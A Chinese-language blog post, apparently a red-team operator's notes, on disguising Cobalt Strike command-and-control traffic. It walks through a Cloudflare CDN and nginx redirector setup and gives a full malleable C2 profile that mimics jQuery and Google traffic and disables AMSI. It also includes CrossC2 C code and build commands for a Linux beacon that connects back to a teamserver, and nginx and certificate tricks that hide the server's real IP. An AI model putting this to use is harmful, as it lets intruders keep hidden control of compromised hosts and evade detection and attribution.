CobaltStrike流量伪装与安全配置


0x01 前言

CobaltStrike在使用过程中经常会涉及到一些安全隐藏方面的配置,我使用的方案是CDN加上nginx转发,再使用profile来修改流量特征,本文对一些细节上的点进行记录,方便以后查阅。首先是域名和CDN上的配置,然后是CobaltStrike一些证书、profile的配置,最后是前置服务器(nginx)的一些配置方法。

0x02 CDN和域名相关配置

在freenom申请测试域名(google.tk)后,到cloudflare中获取名称服务器地址:

然后在freenom中配置:


CDN中配置A记录,解析IP,并使用代理:

这样就能使用cloudflare的CDN加速了,然后开启nginx,配置server_name,访问:

接下来为域名配置源服务器证书,选择创建证书:


将获取到的证书和key文件配置在nginx中,在ubuntu上修改nginx配置文件 /etc/nginx/nginx.conf::

server {
    listen 443 ssl;
    server_name m.test.com;
    ssl_certificate  key/xxx.com_ssl.pem;
    ssl_certificate_key key/xxx.com_key;
    ssl_session_timeout 5m;
    ssl_ciphers TLS13-AES-256-GCM-SHA384:TLS13-CHACHA20-POLY1305-SHA256:TLS13-AES-128-GCM-SHA256:TLS13-AES-128-CCM-8-SHA256:TLS13-AES-128-CCM-SHA256:EECDH+CHACHA20:EECDH+AES128:RSA+AES128:EECDH+AES256:RSA+AES256:EECDH+3DES:RSA+3DES:!MD5;    
    ssl_protocols TLSv1.1 TLSv1.2 TLSv1.3;
    ssl_prefer_server_ciphers on;
    location / {
        root /var/www/html;
        index index.html index.htm;
    }
}

配置好了 nginx -t 检查,然后nginx -s reload重载配置:

证书配置好以后,在cloudflare中将SSL/TLS加密模式设置为严格:

访问域名,严格的https已经启用,从客户端到CDN,CDN到服务器全部使用HTTPS:

0x03 nginx的反向代理配置

反向代理配置就是匹配到特定的路径时,nginx将流量转发到后端的CobaltStrike处理,主要有四个路径,用于心跳和接收命令的GET包,用于返回命令执行结果等的POST包,剩下两个是x86和x64的stager,然后匹配到了就使用proxy_pass转发,比如后面会用到jq的profile,在profile中很容易找到这些url,然后配置nginx.conf关键部分如下:

server {
    listen 443 ssl;
    #要处理的域名
    server_name m.test.com;
    #证书
    ssl_certificate  key/xxx.com_ssl.pem;
    ssl_certificate_key key/xxx.com_key;
    ssl_session_timeout 5m;
    ssl_ciphers TLS13-AES-256-GCM-SHA384:TLS13-CHACHA20-POLY1305-SHA256:TLS13-AES-128-GCM-SHA256:TLS13-AES-128-CCM-8-SHA256:TLS13-AES-128-CCM-SHA256:EECDH+CHACHA20:EECDH+AES128:RSA+AES128:EECDH+AES256:RSA+AES256:EECDH+3DES:RSA+3DES:!MD5;    
    ssl_protocols TLSv1.1 TLSv1.2 TLSv1.3;
    ssl_prefer_server_ciphers on;
    #流量转发
    location /jquery-3.3.1.slim.min.js {
        proxy_pass https://127.0.0.1:60100;    
    }
    location /jquery-3.3.2.slim.min.js {
        proxy_pass https://127.0.0.1:60100;    
    }
    location /jquery-3.3.2.min.js {
        proxy_pass https://127.0.0.1:60100;    
    }    
    location /jquery-3.3.1.min.js {
        proxy_pass https://127.0.0.1:60100;    
    }
    #默认首页
    location / {
        root /var/www/html;
        index index.html index.htm;
    }
}

0x04 CobaltStrike服务配置

前置nginx基本配置好了后,接下来进行一些CobaltStrike的配置。主要是证书和profile配置。将压缩包上传到服务器解压后:

先用keytool生成证书,这个证书可以用来做为管理端口(默认是50050)或者监听器的端口上的https证书,只要不用默认的随便配置就好:

keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias 1314520.com -validity 50000 -dname "CN=, OU=1314520.com, O=1314520.com, L=Redmond, S=Washington, C=US"

keytool -importkeystore -srckeystore ./cobaltstrike.store -destkeystore ./cobaltstrike.store -deststoretype pkcs12

编辑启动脚本(Linux下的teamserver或者Windows下的teamserver.bat)中的端口和证书配置密码:

java -Dfile.encoding=UTF-8 -XX:ParallelGCThreads=4 -Xms512m -Xmx1024m -Dcobaltstrike.server_port=5555 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar server.TeamServer $*

简单的Profile配置

启动参数调好后,Profile是用的malleable-c2,在配置文件中按需修改下面的参数:

set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"; # 这个改了不要再变,否则上不了线
set dns_idle        "8.8.8.8";   #dns的特征修改
#header "Content-Type" "application/javascript; charset=utf-8"; #注释默认Type,防止cf缓存

然后启动teamserve vpsip Password Profile,如Linux下:

chmod +x teamserver
./teamserver x.x.x.x password malleable-c2/jquery-c2.4.0.profile

持久化可以将下面的命令写入文件,如start_teamserver,chmod赋予执行权限后,可以方便的使用./start_teamserver启动,停止就用pkill java,脚本如下:

nohup ./teamserver x.x.x.x password malleable-c2/jquery-c2.4.0.profile >/dev/null 2>&1 &

执行./start_teamserver后可以尝试链接vps5555端口的teamserver了:

CobaltStrike监听器配置

进入teamserver后,配置监听器。CDN在HTTPS上会检查SNI用不了域前置(http上可以修改host),这里使用加速过的域名:

测试上线时会发现执行命令、执行stager不返回的情况,这是因为cdn的缓存原因,到CDN设置页面规则,对js文件绕过缓存:

配好后清除下缓存:

然后测试上线和命令执行返回:

Linux和Windows中Profile通用配置

有时候我们想使用Crossc2来上线cs,但是我们的windows中配置了profile的,linux无法直接上线,所以需要在Crossc2中配置请求的路径,参考协议演示
根据demo,准了新的init.profile,init.c
init.profile:

set sample_name "daidaiwoya";
set sleeptime "2000";
set jitter    "15";
set useragent "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; rv:11.0) like Gecko";
set host_stage "false";

set maxdns          "255";
set dns_max_txt     "252";
set dns_idle        "8.8.8.8"; 
set dns_sleep       "500"; 
set dns_stager_prepend ".resources.741256.";
set dns_stager_subhost ".feeds.952365.";

https-certificate {
    set C   "US";
    set CN  "jquery.com";
    set O   "jQuery";
    set OU  "Certificate Authority";
    set validity "365";
}

http-get {
    set uri "/getversion";
    set verb "GET";
    client {
        header "Accept" "text/xml";
        header "Host" "www.google.com";
        header "Referer" "http://www.google.com/";
        header "Accept-Encoding" "gzip, deflate";

        metadata {
            base64url;
            prepend "SID=";
            header "Cookie";
        }
    }
    server {
        header "Server" "nginx";
        header "Cache-Control" "max-age=0, no-cache";
        header "Pragma" "no-cache";
        header "Connection" "keep-alive";
        header "Content-Type" "charset=utf-8";
        header "X-Cache" "bypass";

        output {
            base64;
            prepend "sign=";
            append "5.4.3";
            print;
        }
    }
}

http-post {
    set uri "/kernel.org";
    set verb "POST";
    client {
        header "Accept" "text/xml";
        header "Host" "www.google.com";
        header "Referer" "http://www.google.com/";
        header "Accept-Encoding" "gzip, deflate";

        id {
            base64;
            prepend "__cfduid=";
            header "Cookie";
        }

        output {
            base64;
            print;
        }
    }
    server {
        header "Server" "nginx";
        header "Cache-Control" "max-age=0, no-cache";
        header "Pragma" "no-cache";
        header "Connection" "keep-alive";
        header "Content-Type" "charset=utf-8";
        header "X-Cache" "bypass";

        output {
            mask;
            base64url;
            prepend "sign=";
            append "code=2";
            print;
        }
    }
}

post-ex {
    set spawnto_x86 "%windir%\\syswow64\\dllhost.exe";
    set spawnto_x64 "%windir%\\sysnative\\dllhost.exe";
    set obfuscate "true";
    set smartinject "true";
    set amsi_disable "true";
}

http-config {
    set trust_x_forwarded_for "true";
}

init.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

// gcc -shared profile.c -o libprofile.so
// ./genCrossC2.Linux 192.168.11.1 8086 null libprofile.so Linux x64 ./shell

void cc2_rebind_http_get_send(char *reqData, char **outputData, long long *outputData_len) {
    //修改请求URL和c2profile文件中一致
    char *requestBody = "GET /%s HTTP/1.1\r\n"
        "Host: www.google.com\r\n"
        "Accept: text/xml\r\n"
        "Accept-Encoding: gzip, br\r\n"
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; rv:11.0) like Gecko\r\n"
        "Cookie: SID=%s\r\n"
        //"Referer: https://www.google.com/\r\n"
        "Connection: close\r\n\r\n";
    char postPayload[20000];
    sprintf(postPayload, requestBody, "getversion", reqData);

    *outputData_len =  strlen(postPayload);
    *outputData = (char *)calloc(1,  *outputData_len);
    memcpy(*outputData, postPayload, *outputData_len);

}
void cc2_rebind_http_post_send(char *reqData, char *id, char **outputData, long long *outputData_len) {
    char *requestBody = "POST /%s HTTP/1.1\r\n"
        "Host: www.google.com\r\n"
        "Accept: text/xml\r\n"
        "Accept-Encoding: gzip, br\r\n"
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; rv:11.0) like Gecko\r\n"
        "Cookie: __cfduid=%s\r\n"
        "Referer: https://www.google.com/\r\n"
        "Connection: close\r\n"
        "Content-Length: %d\r\n\r\n%s";
    char *postPayload = (char *)calloc(1, strlen(requestBody)+strlen(reqData)+200);
    sprintf(postPayload, requestBody, "kernel.org", id, strlen(reqData), reqData);

    *outputData_len =  strlen(postPayload);
    *outputData = (char *)calloc(1,  *outputData_len);
    memcpy(*outputData, postPayload, *outputData_len);
    free(postPayload);
}

char *find_payload(char *rawData, long long rawData_len, char *start, char *end, long long *payload_len) {

    //find_payload() 从原始数据中,找到以"ffffffff1"字符串开始,"eeeeeeee2"字符串结束中间包含的数据

    // ffffffff1AAAABBBBCCCCDDDDeeeeeeee2 -> AAAABBBBCCCCDDDD

    // *payload_len = xx; // 返回找到的payload长度
    // return payload; // 返回找到的payload

    rawData = strstr(rawData, start) + strlen(start);

    *payload_len = strlen(rawData) - strlen(strstr(rawData, end));

    char *payload = (char *)calloc(*payload_len ,sizeof(char));
    memcpy(payload, rawData, *payload_len);
    return payload; 
}

void cc2_rebind_http_get_recv(char *rawData, long long rawData_len, char **outputData, long long *outputData_len) {

    char *start = "sign=";
    char *end = "5.4.3";

    long long payload_len = 0;
    *outputData = find_payload(rawData, rawData_len, start, end, &payload_len);
    *outputData_len = payload_len;
}

void cc2_rebind_http_post_recv(char *rawData, long long rawData_len, char **outputData, long long *outputData_len) {

    char *start = "sign=";
    char *end = "code=2";

    long long payload_len = 0;
    *outputData = find_payload(rawData, rawData_len, start, end, &payload_len);
    *outputData_len = payload_len;
}

Profile检查:

java -XX:ParallelGCThreads=4 -Duser.language=en -XX:+UseParallelGC -classpath ./cobaltstrike.jar c2profile.Lint init.profile

使用profile:

cmd /k teamserver_win.bat 192.168.11.1 123456 init.profile

然后在Ubuntu上生成二进制文件:

gcc init.c -fPIC -shared -o init.so
./genCrossC2.Linux41 192.168.11.1 8086 .cobaltstrike.beacon_keys init.so Linux x64 ./shell


然后执行./shell,成功的返回了beacon:

2.使用CrossC2-C2Profile
在github上看到Richard-Tang师傅实现了jquery-c2.4.0.profile的兼容,进行了测试使用(profile日期报错的时候cs启动参数加上 -Duser.language=en ):

3.Linux在CDN中上线
在CrossC2_v2.24中不使用cdn,使用域名可以正常上线;使用cdn后web无日志,无上线;在v2.2.5中使用域名正常上线,但是心跳不稳定,一会就超时了。

0x04 CDN后获取真实源IP

1.Cloudflare请求会自带X-Forwarded-For头,在nginx中设置一下X-Forwarded-For标头(不设置容易获取到127.0.0.1),CobaltStrike需要在profile中开启 X-Forwarded-For 获取,
nginx.conf:

server {
        ...
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        #代理到cs
        proxy_pass http://127.0.0.1:60100;
}

profile设置:

http-config {
set trust_x_forwarded_for "true";
}

Cloudflare还可以使用标头CF-Connecting-IP来获取真实IP,使用需要开启标头下划线支持,不然不能用这个参数,一般来说使用这个参数获取的比较准确:

server {
        listen 80;
        server_name  _;
        access_log  logs/cname.log  main;
        #开启请求中的下划线支持,方便使用自定义的header头
        underscores_in_headers on; 
        #把CF-Connecting-IP请求头设置为X-Forwarded-For
        proxy_set_header X-Forwarded-For $http_cf_connecting_ip; 
        #代理到cs
        proxy_pass http://127.0.0.1:60100;
}

2.在nginx中$remote_addr用来存请求的真实来源IP,一般CDN回源时都会有请求头来记录客户端真实IP(像cf用的上面说的两个,阿里CDN用的Ali-CDN-Real-IP),nginx记录来源IP的参数是$remote_addr,可以用来在日志中记录IP,使用real_ip_header来设置,比如在Cloudflare中设置$remote_addr真实来源,在server段中配置日志保存格式和路径,可以很方便的对日志进行分别管理查看:

 log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
                      '$status $body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for"';
 server {
         ...
        server_name www.xx.com;
        ...
        #CDN回源IP段
        set_real_ip_from 103.21.244.0/22;
        set_real_ip_from 103.22.200.0/22;
        set_real_ip_from 103.31.4.0/22;
        set_real_ip_from 104.16.0.0/12;
        set_real_ip_from 108.162.192.0/18;
        set_real_ip_from 131.0.72.0/22;
        set_real_ip_from 141.101.64.0/18;
        set_real_ip_from 162.158.0.0/15;
        set_real_ip_from 172.64.0.0/13;
        set_real_ip_from 173.245.48.0/20;
        set_real_ip_from 188.114.96.0/20;
        set_real_ip_from 190.93.240.0/20;
        set_real_ip_from 197.234.240.0/22;
        set_real_ip_from 198.41.128.0/17;
        set_real_ip_from 2400:cb00::/32;
        set_real_ip_from 2606:4700::/32;
        set_real_ip_from 2803:f800::/32;
        set_real_ip_from 2405:b500::/32;
        set_real_ip_from 2405:8100::/32;
        set_real_ip_from 2c0f:f248::/32;
        set_real_ip_from 2a06:98c0::/29;
        set_real_ip_from 127.0.0.1;
        #从请求头中获取IP
        real_ip_header CF-Connecting-IP;

        #将CF-Connecting-IP里不在set_real_ip_from中的IP当做真实IP
        real_ip_recursive on;

        #使用$remote_addr
        proxy_set_header X-Forwarded-For $remote_addr;
        #日志记录
        access_log  logs/www.xx.com.log  main;
}

这里要注意一下,如果网站使用了HTTPS,默认情况下CDN会将http重写为https,存在原来80端口的服务访问不了的情况,可以在cdn中关闭自动重写:

0x05 Nginx中server_name的配置

nginx中使用server_name定义虚拟主机名,设置server_name指定要处理的域名:

server {
    listen 80;
    server_name www.baidu.com;
    location / {
        return 200 'baidu found!';  
    }
}

server {
    listen 80;
    server_name www.qq.com;
    location / {
        return 200 'qq found!';  
    }
}

其他的默认情况:

server {
listen 80;
server_name _;
#可以对host进行一些判断
if ($host != "www.qq.com") {
        return 501;
}
 location / {
        return 200;
    }
}

0x06 Nginx使用WAF

使用waf可以防御一些恶意扫描,这里使用了openresty来使用lua的waf,将waf代码放到lua/waf下,然后在nginx配置文件http段中添加引入即可:

    # WAF
    lua_shared_dict limit 50m;
    lua_package_path "./lua\waf/?.lua;;";
    init_by_lua_file "./lua/waf/init.lua";
    access_by_lua_file "./lua/waf/access.lua";

可以在config.lua中进行详细的配置:

触发规则会进行拦截:

各种规则可以在rule-config中详细配置。

0x07 针对来源IP限制返回内容

有时候请求不是走正常路径过来的,可以设置nginx只对CDN来源IP开放访问,其他地址拒绝(这个会和获取真实IP那个冲突,获取真实IP可以写在location块里,就不要写在server里了):

http{
 #通过if判断值,如果是是CDN的IP,$allow_ip = 0,否则就是default 1。
    geo $allow_ip {
        default             1;
        173.245.48.0/20    0;
        103.21.244.0/22    0;
        103.22.200.0/22    0;
        103.31.4.0/22     0;
        141.101.64.0/18    0;
        108.162.192.0/18   0;
        190.93.240.0/20    0;
        188.114.96.0/20    0;
        197.234.240.0/22   0;
        198.41.128.0/17    0;
        162.158.0.0/15     0;
        104.16.0.0/12      0;
        172.64.0.0/13      0;
        131.0.72.0/22      0;
    }
}
server  {
        listen 80 default;
        #任意host
        server_name _;
         #以http对IP的访问,不是来自允许的源不提供服务,返回301。
        if ($allow_ip){return 301;}
         location / {
                # 返回内容
                return 404;
            }
    }

0x08 防止HTTPS访问IP泄露证书

有时候会发现我们VPS的真实IP泄露了,在nginx配置不当时,就可以通过证书泄露IP,通过fofa看到在该IP上的证书:

如果要防止nginx泄露IP,不能通过下列检查host来防御,依然会返回证书:

if ($host != "www.qq.com") {
        return 400;
}

一、可以给IP配置一个自签名的证书,通过https访问IP时返回的就是这个自签名的证书
1.免费证书获取可以在csr.chinassl.net和Let’s Encrypt获取,以csr.chinassl.net为例:

然后下载得到CSR文件和KEY文件,然后上传CSR生成证书即可:

获取后会得到.crt文件,在nginx中配置即可。

当然了,还可以使用使用openssl(windows下载:https://slproweb.com/products/Win32OpenSSL.html)命令生成自签名的证书:

openssl req -x509 -nodes -days 3650 -newkey rsa:2048 -keyout ssl.key -out https.crt

2.nginx配置
server_name配置成任意,作为默认配置,没有匹配到server_name时就返回此处配置内容:

server {
    listen 443 ssl;
    server_name _;
    ssl_certificate  key/xxx.com_ssl.crt;
    ssl_certificate_key key/xxx.com_key;
    ssl_session_timeout 5m;
    ssl_ciphers TLS13-AES-256-GCM-SHA384:TLS13-CHACHA20-POLY1305-SHA256:TLS13-AES-128-GCM-SHA256:TLS13-AES-128-CCM-8-SHA256:TLS13-AES-128-CCM-SHA256:EECDH+CHACHA20:EECDH+AES128:RSA+AES128:EECDH+AES256:RSA+AES256:EECDH+3DES:RSA+3DES:!MD5;    
    ssl_protocols TLSv1.1 TLSv1.2 TLSv1.3;
    ssl_prefer_server_ciphers on;
    location / {
        return 404;
    }
}

这样一来访问IP就使用这个自签名的证书,访问域名就使用域名的证书,不会造成IP和域名关联。
二、不配置证书,使用CDN灵活模式
灵活模式是指客户端与CDN进行HTTPS通信,CDN与服务器HTTP通信,这样证书来源直接就是CDN的,nginx只需要在80端口配置即可:
灵活模式
边缘证书中设置始终使用HTTPS:

访问网站,查看证书:

这种方式确实灵活,不用配证书,可以将http的访问自动重写为https。还可以在边缘证书中设置一个随机加密(HTTP/2),访问的时候是http,但是会使用加密:

0x09 参考链接

https://github.com/unixhot/waf

https://www.cnblogs.com/Xy--1/p/14396744.html

https://support.cloudflare.com/hc/zh-cn/articles/200170786-%E6%81%A2%E5%A4%8D%E5%8E%9F%E5%A7%8B%E8%AE%BF%E9%97%AE%E8%80%85-IP-%E4%BD%BF%E7%94%A8-mod-cloudflare-%E8%AE%B0%E5%BD%95%E8%AE%BF%E9%97%AE%E8%80%85-IP-%E5%9C%B0%E5%9D%80-


文章作者: YangHao
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 YangHao !
评论
 上一篇
Webgoat靶场调试环境配置 Webgoat靶场调试环境配置
WebGoat是OWASP组织研制出的用于进行web漏洞实验的Java靶场程序,用来说明web应用中存在的安全漏洞。本文介绍在IDEA中进行源码编译和调试的环境配置方法。
2021-10-05
下一篇 
PHPStorm+PHPStudy调试配置 PHPStorm+PHPStudy调试配置
在代码审计中,需要对代码调试获得更直观的数据的结构、类型和值,通过PHPStorm+PHPStudy来对项目进行远程调试和本地调试,记录配置的方法。
2021-07-27
  目录